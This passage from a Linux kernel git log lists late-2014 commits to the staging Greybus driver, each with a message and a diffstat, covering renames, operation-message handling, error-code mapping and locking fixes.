drivers/staging/greybus/sysfs.c | 56 ------------------------------- 4 files changed, 30 insertions(+), 60 deletions(-) commit fc2a8fbec71fe12d58154191cc10775e2881ef1b Author: Greg Kroah-Hartman Date: Thu Dec 11 17:10:58 2014 -0500 greybus: sysfs documentation: Document the greybus interface block sysfs files. Documentation, what, really? Yes. Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman .../greybus/Documentation/sysfs-bus-greybus | 35 ++++++++++++++++++++++ 1 file changed, 35 insertions(+) commit 8ede6e36dfa88a4c0a0e66f34fb177af3beaab8f Author: Greg Kroah-Hartman Date: Thu Dec 11 17:10:57 2014 -0500 greybus: interface_block: rename the sysfs files to not have 'module' in them The sysfs files for an interface block should not have 'module' in them. This was a hold-over from when we thought we were going to have all attributes of a "module" in one directory. Remove the prefix as it's not needed, and is confusing considering modules can not have strings or any of these attributes. Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus.h | 2 +- drivers/staging/greybus/interface_block.c | 2 +- drivers/staging/greybus/sysfs.c | 40 +++++++++++++++---------------- 3 files changed, 22 insertions(+), 22 deletions(-) commit 4ec7b07915523aa19ec31ec7e07cb8d903d39526 Author: Greg Kroah-Hartman Date: Thu Dec 11 17:10:56 2014 -0500 greybus: interface_block: s/gb_module/gb_interface_block/ Rename struct gb_module to struct gb_interface_block It's a complex rename, some functions got their name changed where needed, but primarily this change is focused on the structure and where it is used. Future changes will clean up the remaining usages of the term "module" in individual changes, this one spanned the whole subsystem so do it all at once. Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/ap.c | 10 +-- drivers/staging/greybus/battery-gb.c | 2 +- drivers/staging/greybus/connection.c | 4 +- drivers/staging/greybus/core.c | 24 +++--- drivers/staging/greybus/greybus.h | 14 ++-- drivers/staging/greybus/interface.c | 32 ++++---- drivers/staging/greybus/interface.h | 10 +-- drivers/staging/greybus/interface_block.c | 122 +++++++++++++++--------------- drivers/staging/greybus/interface_block.h | 35 ++++----- drivers/staging/greybus/manifest.c | 34 ++++----- drivers/staging/greybus/manifest.h | 4 +- drivers/staging/greybus/sysfs.c | 4 +- 12 files changed, 149 insertions(+), 146 deletions(-) commit e50522209a2e86ffac2d8c9a99c0979914cff5dd Author: Greg Kroah-Hartman Date: Thu Dec 11 17:10:55 2014 -0500 greybus: interface_block: rename module.[c|h] to interface_block.[c|h] "modules" in the driver model here, are really "interface blocks" as that is what they are physically tied to. So rename the files before we start changing the code to make it obvious what is going on. Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 2 +- drivers/staging/greybus/greybus.h | 2 +- drivers/staging/greybus/interface_block.c | 201 ++++++++++++++++++++++++++++++ drivers/staging/greybus/interface_block.h | 55 ++++++++ drivers/staging/greybus/module.c | 201 ------------------------------ drivers/staging/greybus/module.h | 55 -------- 6 files changed, 258 insertions(+), 258 deletions(-) commit 1cd9ba1477f25e9137403162092452f176dd30b4 Author: Greg Kroah-Hartman Date: Thu Dec 11 17:10:54 2014 -0500 greybus: module: remove obsolete gb_tty pointer We aren't using this anymore, so remove gb_tty from struct gb_module. Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/module.c | 2 -- drivers/staging/greybus/module.h | 2 -- 2 files changed, 4 deletions(-) commit 708c126695611f2028aaa152398c75a03aeb1344 Author: Greg Kroah-Hartman Date: Thu Dec 11 17:10:53 2014 -0500 greybus: module versions: remove them We removed the module version from the spec, so remove them from the code as well. It's still in the manifest as we need to sync with gbsim / firmware when we do that, which will happen sometime in the next weeks. Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/manifest.c | 1 - drivers/staging/greybus/module.h | 1 - drivers/staging/greybus/sysfs.c | 2 -- 3 files changed, 4 deletions(-) commit 3763f960a497fed19666dfd3366e28d6bc12b2c2 Author: Greg Kroah-Hartman Date: Thu Dec 11 17:10:52 2014 -0500 greybus: uart-gb.c: don't include module.h No need to specifically include the greybus module.h here, greybus.h already does so and we will be renaming it soon. Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart-gb.c | 1 - 1 file changed, 1 deletion(-) commit 0a9c4d70d372a85252c00a94cd45622b657397be Author: Alex Elder Date: Thu Dec 11 16:48:38 2014 -0600 greybus: switch cport id used for sends In talking with Perry today I learned that the CPort id expected to supplied over the HSIC interface to the APB is different from the way I understood it. My understanding was that the CPort id to supply always specified the CPort id on the other end of a connection. However, Perry says the mapping between local CPort id and remote CPort id (and device id) is done by the host UniPro interface. So whether sending or receiving data, the CPort id that the Greybus code should supply to the AP Bridge is the one representing the AP side of a connection. This patch fixes this. The receive side already used that CPort id; it's only the sending code that needed to be changed. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1-ap-usb.c | 15 +++++++-------- drivers/staging/greybus/operation.c | 3 +-- 2 files changed, 8 insertions(+), 10 deletions(-) commit 7de3e650fb736bf7c40e20f5dc866c544376119c Author: Alex Elder Date: Wed Dec 10 14:50:48 2014 -0600 greybus: ENODEV can be an expected error too When probing for i2c devices, a read transfer operation can be used. In this case, it is expected that some devices will not be found, so ENODEV is an expected failure. Don't issue a warning if the return value is -ENODEV. Note: I anticipate we might have to be more precise in identifying this specific case, but for now this eliminates a bogus warning when probing i2c devices. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/i2c-gb.c | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) commit aa26351d0bb5b3ecf9bccacc9b05209b3d2af8ca Author: Alex Elder Date: Wed Dec 10 08:43:33 2014 -0600 greybus: define GB_OP_NONEXISTENT The i2c protocol needs a way to indicate an i2c device doesn't exist (which is not necessarily an error). Define GB_OP_NONEXISTENT to indicate this, and updating the status<->errno mapping functions accordingly. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 4 ++++ drivers/staging/greybus/operation.h | 1 + 2 files changed, 5 insertions(+) commit 5f474d49436134e0f36d7bc3fb10babebc5e824f Author: Greg Kroah-Hartman Date: Tue Dec 9 14:57:04 2014 -0500 greybus: greybus_manifest.h: add FIXME for version The version field is going to go away, but after the demo, not before. Note that in the header file. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_manifest.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 6b7dff889c129a310136ce1aad334e4abec13743 Author: Greg Kroah-Hartman Date: Mon Dec 8 17:45:10 2014 -0500 greybus: battery-gb.c: add new functions from Greybus spec document. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/battery-gb.c | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) commit 82b5e3feb71482fe63f3c62d81a1528a890dfe74 Author: Alex Elder Date: Wed Dec 3 12:27:46 2014 -0600 greybus: record type in operation structure I've gone back and forth on this, but now that I'm looking at asynchronous operations I know that the asynchronous callback will want to know what type of operation it is handling, and right now that's only available in the message header. So record an operation's type in the operation structure, and use it in a few spots where the header type was being used previously. Pass the type to gb_operation_create_incoming() so it can fill it in after the operation has been created. Clean up the crap comments above the definition of the operation structure. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 32 +++++++++++++++++-------------- drivers/staging/greybus/operation.h | 38 +++++++++++++++---------------------- 2 files changed, 33 insertions(+), 37 deletions(-) commit 746e0ef95ade8dd6d8633679a87ab573b5e1f69e Author: Alex Elder Date: Wed Dec 3 12:27:45 2014 -0600 greybus: use null pointer for empty payload Currently message->payload always points to the address immediately following the header in a message. If the payload length is 0, this is not a valid pointer. Change the code to assign a null pointer to the payload in this case. I have verified that no code dereferences the payload pointer unless the payload is known to have non-zero size. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7cfa699556731c0c7d93793c419eb83f37107de2 Author: Alex Elder Date: Wed Dec 3 12:27:44 2014 -0600 greybus: only record message payload size An asynchronous operation will want to know how big the response message it receives is. Rather than require the sender to record that information, expose a new field "payload_size" available to the protocol code for this purpose. An operation message consists of a header and a payload. The size of the message can be derived from the size of the payload, so record only the payload size and not the size of the whole message. Reorder the fields in a message structure. Update the description of the message header structure. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 34 ++++++++++++++++++---------------- drivers/staging/greybus/operation.h | 13 +++++++++---- 2 files changed, 27 insertions(+), 20 deletions(-) commit 7a9366aa1e8645c12c0050b417358089c216d14f Author: Alex Elder Date: Wed Dec 3 12:27:43 2014 -0600 greybus: don't let i2c code assume non-null payload pointer This is in preparation for an upcoming patch, which makes the payload pointer be NULL when a message has zero bytes of payload. It ensures a null payload pointer never gets dereferenced. To do this we pass the response structure to gb_i2c_transfer_response() rather than just its data, and if it's null, returning immediately. Rearrange the logic in gb_i2c_transfer_operation() a bit. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/i2c-gb.c | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) commit 93bbe859b75616ebdc33722c3b30cf36e74161a8 Author: Alex Elder Date: Wed Dec 3 12:27:42 2014 -0600 greybus: set up connection->private properly The connection->private pointer should refer to a protocol-specific data structure. Change two protocol drivers (USB and vibrator) so they now set this. In addition, because the setup routine may need access to the data structure, the private pointer should be set early--as early as possible. Make the UART, i2c, and GPIO protocol drivers set the private pointer earlier. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio-gb.c | 2 +- drivers/staging/greybus/i2c-gb.c | 3 +-- drivers/staging/greybus/pwm-gb.c | 2 +- drivers/staging/greybus/uart-gb.c | 3 +-- drivers/staging/greybus/usb-gb.c | 1 + drivers/staging/greybus/vibrator-gb.c | 1 + 6 files changed, 6 insertions(+), 6 deletions(-) commit 62749a056ab48994956cf14abcd5622db4a4a0cb Author: Alex Elder Date: Wed Dec 3 12:27:41 2014 -0600 greybus: fix an error message The error message printed by gb_operation_sync() if the operation fails is wrong. Fix it. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c25572ca943a1f8c2db7a8063c166d12480bb69d Author: Alex Elder Date: Wed Dec 3 08:35:09 2014 -0600 greybus: introduce gb_operation_request_send_sync() Define a new function used to initiate a synchronous operation. It sends the operation request message and doesn't return until the response has been received and/or the operation's result has been set. This gets rid of the convention that a null callback pointer signifies a synchronous operation. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/i2c-gb.c | 2 +- drivers/staging/greybus/operation.c | 33 +++++++++++++++++++++++---------- drivers/staging/greybus/operation.h | 1 + drivers/staging/greybus/usb-gb.c | 2 +- 4 files changed, 26 insertions(+), 12 deletions(-) commit 4afb7fd0154753711e7bc68790f6f5de8dbed39e Author: Alex Elder Date: Wed Dec 3 08:35:08 2014 -0600 greybus: make op_cycle atomic (again) There's no need to protect updating a connections operation id cycle counter with the operations spinlock. That spinlock protects connection lists, which do not interact with the cycle counter. All that we require is that it gets updated atomically, and we can express that requirement in its type. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 1 + drivers/staging/greybus/connection.h | 2 +- drivers/staging/greybus/operation.c | 6 +++--- 3 files changed, 5 insertions(+), 4 deletions(-) commit afb2e1342e75b55be8834efc5b1c77f654572df8 Author: Alex Elder Date: Wed Dec 3 08:35:07 2014 -0600 greybus: get rid of pending operations list A connection has two lists of operations, and an operation is always on one or the other of them. One of them contains the operations that are currently "in flight". We really don't expect to have very many in-flight operations on any given connection (in fact, at the moment it's always exactly one). So there's no significant performance benefit to keeping these in a separate list. An in-flight operation can also be distinguished by its errno field holding -EINPROGRESS. Get rid of the pending list, and search all operations rather than the pending list when looking up a response message's operation. Rename gb_pending_operation_find() accordingly. There's no longer any need to remove operations from the pending list, and the insertion function no longer has anything to do with a pending list. Just open code what was the insertion function (it now has only to do with assigning the operation id). Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 1 - drivers/staging/greybus/connection.h | 1 - drivers/staging/greybus/operation.c | 52 +++++++++++------------------------- drivers/staging/greybus/operation.h | 2 +- 4 files changed, 17 insertions(+), 39 deletions(-) commit 0ba02c4d1675c426f38f3beb6b6cb1a3d9aeff97 Author: Alex Elder Date: Wed Dec 3 08:35:06 2014 -0600 greybus: don't use 0 as an operation id Stop allowing 0x0000 to be used as an operation id. That id will be reserved for use by operations that will return no response message. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit c939c2f8fe85a8099d553ae5c12b9a24ef735d05 Author: Alex Elder Date: Tue Dec 2 17:25:11 2014 -0600 greybus: define the invalid operation type symbolically Use a symbolic constant (rather than just "0") to represent an explicitly invalid operation type. The protocols have all reserved that value for that purpose--this just makes it explicit in the core code (since we now leverage its existence). Fix the code so it uses the new symbolic value. Define it in "operation.h" for all to see. Move the common definition of the GB_OPERATION_TYPE_RESPONSE flag mask there as well. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 27 ++++++++++++++++----------- drivers/staging/greybus/operation.h | 12 ++++++++++++ 2 files changed, 28 insertions(+), 11 deletions(-) commit 6cd6ec55f4940bcddeed65e4eebb6190a64a4eb7 Author: Alex Elder Date: Tue Dec 2 17:03:51 2014 -0600 greybus: fix a bug in gb_operation_sync() The memcpy of request data into the request payload was copying the data into the wrong location. Fix that. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 583d233fa9d6fffd028af5219bcb5753bcb7b5ef Author: Alex Elder Date: Tue Dec 2 15:48:09 2014 -0600 greybus: use little-endian in PWM requests The PWM config request defines two 32-bit values using u32. All over-the-wire values have to be in little-endian format. Fix this. Signed-off-by: Alex Elder Acked-by: Matt Porter Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/pwm-gb.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 82e26f73b2a8ee4acc2507494430aa5774da2b74 Author: Alex Elder Date: Tue Dec 2 08:30:39 2014 -0600 greybus: send operation response messages Define a helper function gb_operation_response_alloc() and use it to allocate the response buffer for outgoing operations in gb_operation_create_common(. Use it also in gb_operation_response_send() if the caller has not allocated a response buffer. Once a response buffer is allocated, fill in its result code and send it. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 60 ++++++++++++++++++++++++++++++------- drivers/staging/greybus/operation.h | 3 ++ 2 files changed, 52 insertions(+), 11 deletions(-) commit 0c90fff4e35c1322a52709f17d630431c7deb931 Author: Alex Elder Date: Tue Dec 2 08:30:38 2014 -0600 greybus: introduce gb_operation_errno_map() Define gb_operation_errno_map(), which maps an operation->errno into the u8 value that represents it in the status field of an operation response header. It'll be used in an upcoming patch. Make gb_operation_status_map() a private function. It's not used outside "operation.c" and I don't believe it ever should be. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 36 +++++++++++++++++++++++++++++++++++- drivers/staging/greybus/operation.h | 2 -- 2 files changed, 35 insertions(+), 3 deletions(-) commit d4a1ff674dfbd120930dbd011773b3ae79385449 Author: Alex Elder Date: Tue Dec 2 08:30:37 2014 -0600 greybus: activate incoming request handling Un-comment gb_operation_request_handle(), which was recently disabled to avoid distraction. In gb_connection_recv_request(), activate handling incoming requests by defining gb_operation_request_handle() as an incoming operation's callback function. Incoming operation requests have Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 59 +++++++++++++++++++++++++++---------- 1 file changed, 43 insertions(+), 16 deletions(-) commit d2d2c0fe70ff09510f56bd341e2ab415b7b5e947 Author: Alex Elder Date: Tue Dec 2 08:30:36 2014 -0600 greybus: set result in gb_operation_response_send() Change gb_operation_response_send() so it takes an errno to assign as an operation's result. This emphasizes that setting the result should be the last thing done to an incoming operation before sending its response. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 7 ++++++- drivers/staging/greybus/operation.h | 2 +- 2 files changed, 7 insertions(+), 2 deletions(-) commit 0cffcac3051fa1447d8a452ab5e0029bbe100777 Author: Alex Elder Date: Tue Dec 2 08:30:35 2014 -0600 greybus: create a slab cache for simple messages A large number of request and response message types have no payload. Such "simple" messages have a known, fixed maximum size, so we can preallocate and use a pool (slab cache) of them. Here are two benefits to doing this: - There can be (small) performance and memory utilization benefits to using a slab cache. - Error responses can be sent with no payload; the cache is likely to have a free entry to use for an error response even in a low memory situation. The plan here is that an incoming request handler that has no response payload to fill will not need to allocate a response message. If no message has been allocated when a response is to be sent, one will be allocated from the cache by the core code. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 60 ++++++++++++++++++++++++++++++------- 1 file changed, 49 insertions(+), 11 deletions(-) commit 835fb5e4985de46aafb7fbcf975663d375e7b4b4 Author: Alex Elder Date: Tue Dec 2 08:30:34 2014 -0600 greybus: enforce a buffer headroom maximum size Define a maximum size that a host device can use for its private area ahead of the payload space used by Greybus in a message buffer. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1-ap-usb.c | 1 + drivers/staging/greybus/greybus.h | 8 ++++++++ 2 files changed, 9 insertions(+) commit dc779229b538f1b5cd5d20a5afdfdfb4c83e5429 Author: Alex Elder Date: Tue Dec 2 08:30:33 2014 -0600 greybus: introduce gb_operation_message_init() Separate the allocation of a message structure from its basic initialization. This will allow very common fixed-size operation response buffers to be allocated from a slab cache. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 66 ++++++++++++++++++++++--------------- 1 file changed, 39 insertions(+), 27 deletions(-) commit ea64cd9a5e83605bdb6374b48d3aa84f0d08abde Author: Alex Elder Date: Tue Dec 2 08:30:32 2014 -0600 greybus: use operation type 0 to signal incoming data When incoming data is going to be handled as a request, we create a new operation whose request buffer will hold the received data. There is no need to initialize the message header in such a request buffer because it will be immediately overwritten. Use operation type value of 0x00 in gb_operation_create_common() to signal that we are creating an incoming operation, and therefore do not need to initialize the request message header. This allows us to get rid of the Boolean "outgoing" parameter. As a result, we can stop supplying the "type" parameter to both gb_operation_create_incoming() and gb_connection_recv_request(). Update the header comments for gb_operation_message_alloc() and gb_operation_create_common(). Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 88 +++++++++++++++++++++++-------------- 1 file changed, 55 insertions(+), 33 deletions(-) commit 55f66a88dbd718c2133ac759eee4ff51f516bf45 Author: Alex Elder Date: Tue Dec 2 08:30:31 2014 -0600 greybus: enforce non-zero operation type requirement The operation type 0x00 is reserved as an explicitly invalid operation type in all protocols. Enforce this. Add a check for callers who erroneously have the RESPONSE message type flag set in the operation type passed in gb_operation_create(). Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 13 +++++++++++++ 1 file changed, 13 insertions(+) commit 64ce39a3463776a6ccf6770f588a265bca2468ca Author: Alex Elder Date: Tue Dec 2 08:30:30 2014 -0600 greybus: pass result in gb_connection_recv_response() Pass the operation result to gb_connection_recv_response() as a parameter. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 15 +++++++-------- 1 file changed, 7 insertions(+), 8 deletions(-) commit f71e1cc1944d0a82aff032acd9bb25dff5187d37 Author: Alex Elder Date: Tue Dec 2 08:30:29 2014 -0600 greybus: short message is OK for errors We enforce a rule that a response message must completely fill the buffer that's been allocated to hold it. However, if an error occurs, the payload is off limits, so we should allow a short message to convey an error result. Change gb_connection_recv_response() to require the right message size only if there's no error. One other thing: The arriving data is only being copied into the response buffer if the request was successful. That means the response message header is assumed to have been initialized. That isn't a valid assumption. So change it so that if an error is seen, the header portion of the message is copied into the response buffer--but only the header. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 13 +++++-------- 1 file changed, 5 insertions(+), 8 deletions(-) commit 34db1f91e674ba8c7df674ac6692c2604ea1ece5 Author: Alex Elder Date: Tue Dec 2 08:30:28 2014 -0600 greybus: move copy of incoming request data Currently incoming request data is copied into a request message buffer in gb_connection_recv_request(). Move that--along with the assignment of the message id--into gb_operation_create_incoming(). Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 21 ++++++++++++++------- 1 file changed, 14 insertions(+), 7 deletions(-) commit 85a0442893444c044c0dde979c0372d7369ab45f Author: Greg Kroah-Hartman Date: Mon Dec 1 20:42:20 2014 -0800 greybus: operation: fix up sparse warning gb_connection_recv_request should be static, so mark it as such. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit e5fbc07360f1ed9da423abc2ab96a12f2d7a7632 Author: Alex Elder Date: Mon Dec 1 07:53:11 2014 -0600 greybus: always drop reference in gb_operation_work() Currently we issue a warning in gb_operation_work() if an operation has no callback function defined. But we return without dropping the reference to the operation as we should. Stop warning if there's no callback, call it only if it's defined, and always drop the operation reference before returning. This means we're now treating a NULL callback pointer as a normal condition. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) commit e413614b01763a84940168f253426fca89cdc38c Author: Alex Elder Date: Mon Dec 1 07:53:10 2014 -0600 greybus: drop gfp_mask from gb_message_send() We will only send messages from process context. Drop the gfp_mask parameter from gb_message_send(), and just supply GFP_KERNEL to the host driver's buffer_send method. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 57248face3894f0b3e97ff1c9e9e8b8b22033ec3 Author: Alex Elder Date: Mon Dec 1 07:53:09 2014 -0600 greybus: renumber operation result values Define a new operation status GB_OP_MALFUNCTION, which will be used to represent that something unexpected happened while handling an operation. This is intended as an indication similar to a BUG() call--whatever went wrong should *never* happen and because it's unexpected we need to treat it as a fatal error. Define another new operation status GB_OP_UNKNOWN_ERROR, which will represent the case where an operation ended in error, but the error was not recognized to be properly represented by one of the other status values. Renumber the operation status values, defining those that are produced by core operations code ahead of those that are more likely to come from operation handlers. Represent the values in hexadecimal to emphasize that they must be represented with 8 bits. The Use 0xff for GB_OP_MALFUNCTION instead of GB_OP_TIMEOUT; the latter is special, but a malfunction is in a class by itself. Reorder the cases in gb_operation_status_map() to match their numeric order. Map GB_OP_UNKNOWN_ERROR to -EIO in gb_operation_status_map(). Map GB_OP_MALFUNCTION to -EILSEQ in gb_operation_status_map(), since that value is used to represent an implementation error. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 19 +++++++++++-------- drivers/staging/greybus/operation.h | 18 ++++++++++-------- 2 files changed, 21 insertions(+), 16 deletions(-) commit 2fb2d2a73f27bdd90a86d14c143e000e95d3c9d2 Author: Alex Elder Date: Mon Dec 1 07:53:08 2014 -0600 greybus: define -EILSEQ to mean implementation error Reserve operation result code -EILSEQ to represent that the code that implements an operation is broken. This is used (initially) for any attempt to set the result to -EBADR (which is reserved for an operation in initial state), or for an attempt to set the result of an operation that is *not* in initial state to -EINPROGRESS. Note that we still use -EIO gb_operation_status_map() to represent a gb_operation_result value that isn't recognized. In gb_operation_result(), warn if operation->errno is -EBADR. That is another value that indicates the operation is not in a state where it's valid to query an operation's result. Update a bunch of comments above gb_operation_result_set() to explain constraints on operation->errno. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 59 +++++++++++++++++++++++++++---------- 1 file changed, 43 insertions(+), 16 deletions(-) commit ab3cf8dc7db6755d216173b04043b0e0cd24415b Author: Alex Elder Date: Mon Dec 1 07:53:07 2014 -0600 greybus: enforce max representable message size We represent the size of a message using a 16-bit field. It's possible for a host driver to advertise a maximum message size that's bigger than that. If that happens, reduce the host device's maximum buffer size to the maximum we can represent the first time a message is allocated. This information is actually only used by the Greybus code, but because we're modifying a value that's "owned" by the host driver, issue a warning when this limit is being imposed Ensure (at build time) that our own definition is sane as well. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 9 +++++++++ 1 file changed, 9 insertions(+) commit 94b15d7613e861563b9f06fac2c273ca8e2fc269 Author: Alex Elder Date: Mon Dec 1 07:53:06 2014 -0600 greybus: use outgoing flag when creating operation In gb_operation_create_common(), a zero response size is still being used to determine whether to use GFP_KERNEL or GFP_ATOMIC when allocating a message. Use the value of the "outgoing" parameter to decide this instead. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 615772aace9c87bdcae038cea37c69c85373dba4 Author: Greg Kroah-Hartman Date: Tue Nov 25 16:59:21 2014 -0800 greybus: usb-gb: import a "buildable" version of the usb-gb.c driver Based on Fabien's original driver, this version is converted (mostly) to the new greybus operation apis. Lots of things still to do, not the least being hooking up proper responses... Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 3 +- drivers/staging/greybus/protocol.c | 5 + drivers/staging/greybus/protocol.h | 3 + drivers/staging/greybus/usb-gb.c | 393 +++++++++++++++++++++++++++++++++++++ 4 files changed, 403 insertions(+), 1 deletion(-) commit 43cdae5c3cbc000146cccbbfc651105feba9525e Author: Alex Elder Date: Tue Nov 25 16:54:04 2014 -0600 greybus: protect cookie with a mutex When a Greybus message is sent, the host driver supplies a cookie for Greybus to use to identify the sent message in the event it needs to be canceled. The cookie will be non-null while the message is in flight, and a null pointer otherwise. There are two problems with this, which arise out of the fact that a message can be canceled at any time--even concurrent with it getting sent (such as when Greybus is getting shut down). First, the host driver's buffer_send method can return an error value, which is non-null but not a valid cookie. So we need to ensure such a bogus cookie is never used to cancel a message. Second, we can't resolve that problem by assigning message->cookie only after we've determined it's not an error. The instant buffer_send() returns, the message may well be in flight and *should* be canceled at shutdown, so we need the cookie value to reflect that. In order to avoid these problems, protect access to a message's cookie value with a mutex. A spin lock can't be used because the window that needs protecting covers code that can block. We reset the cookie value to NULL as soon as the host driver has notified us it has been sent (or failed to). Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 40 ++++++++++++++++++++++++------------- 1 file changed, 26 insertions(+), 14 deletions(-) commit f34541d7e823bff1be8e0d497e01dcbaf9c65edb Author: Alex Elder Date: Tue Nov 25 16:54:03 2014 -0600 greybus: ignore a null cookie when canceling buffer It's possible for an in-flight buffer to be recorded as sent *after* a thread has begin the process of canceling it. In that case the Greybus message cookie will be set to NULL, and that value can end up getting passed to buffer_cancel(). Change buffer_cancel() so it properly handles (ignores) a null cookie pointer. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1-ap-usb.c | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) commit 894cbc31360102fe51babdb82be69885f317843b Author: Alex Elder Date: Tue Nov 25 16:54:02 2014 -0600 greybus: update operation result atomically An operation result can be set both in and out of interrupt context. For example, a response message could be arriving at the same time a timeout of the operation is getting processed. We therefore need to ensure the result is accessed atomically. Protect updates to the errno field using the operations spinlock. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 26 ++++++++++++++++++++------ 1 file changed, 20 insertions(+), 6 deletions(-) commit aa3a4d12093b818ac2b9fe3e0454ae0090201254 Author: Alex Elder Date: Tue Nov 25 13:06:45 2014 -0600 greybus: enforce receive buffer size When an operation is created its receive buffer size is specified. In all current cases, the size supplied for the receive buffer is exactly the size that should be returned. In other words, if any fewer than that many bytes arrived in a response, it would be an error. So tighten the check on the number of bytes arriving for a response message, ensuring that the number of bytes received is *exactly the same* as the number of bytes available (rather than just less than). We'll expand our interpretation of of -EMSGSIZE to mean "wrong message size" rather than just "message too long." If we someday encounter an actual case where we want to be able to successfully receive something less than the full receive buffer we can adjust the code to handle that (and give it a way to tell the receiver how many bytes are present). Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 1a365154c24a3fd48b96ad25cb67a483124d56ad Author: Alex Elder Date: Tue Nov 25 13:06:44 2014 -0600 greybus: fix some error codes Change the message result values used in two cases. First, use -EMSGSIZE rather than -E2BIG to represent a message that is larger than the buffer intended to hold it. That is the proper code for this situation. Second, use -ECANCELED rather than -EINTR for an operation that has been canceled. The definition of that error is literally "Operation Canceled" so it seems like the right thing to do. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 3deb37d4ad04c6cb18564f5af2c88c10fa6bfc76 Author: Alex Elder Date: Tue Nov 25 11:33:15 2014 -0600 greybus: use special operation result valus This is more or less re-implementing this commit: 96f95d4 greybus: update gbuf status for completion handlers But this time we're doing this for an operation, not the gbuf. Define an initial operation result value (-EBADR) to signify that no valid result has been set. Nobody should ever set that value after the operation is initially created. Since only the operation core code sets 